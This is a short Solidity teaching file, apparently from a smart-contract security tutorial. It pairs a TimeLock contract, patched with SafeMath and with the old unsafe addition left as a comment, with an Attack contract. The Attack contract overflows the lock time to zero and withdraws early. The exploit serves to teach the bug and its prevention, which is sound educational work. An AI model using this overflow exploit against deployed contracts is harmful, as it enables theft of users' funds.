Overflow.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.10;

/*
Overflow / Underflow
Code & Demo
Preventative techniques
*/

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.0.0/contracts/math/SafeMath.sol";

contract TimeLock {
    using SafeMath for uint;

    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = now + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        // lockTime[msg.sender] += _secondsToIncrease;
        lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);
    }

    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient funds");
        require(now > lockTime[msg.sender], "Lock time not expired");

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    TimeLock timeLock;

    constructor(TimeLock _timeLock) public {
        timeLock = TimeLock(_timeLock);
    }

    fallback() external payable { }

    function attack() public payable {
        timeLock.deposit{value: msg.value}();
        // t == current lock time
        // find x such that
        // x + t = 2**256 = 0
        // x = -t
        timeLock.increaseLockTime(
            // 2**256 - t
            uint(-timeLock.lockTime(address(this)))
        );
        timeLock.withdraw();
    }
}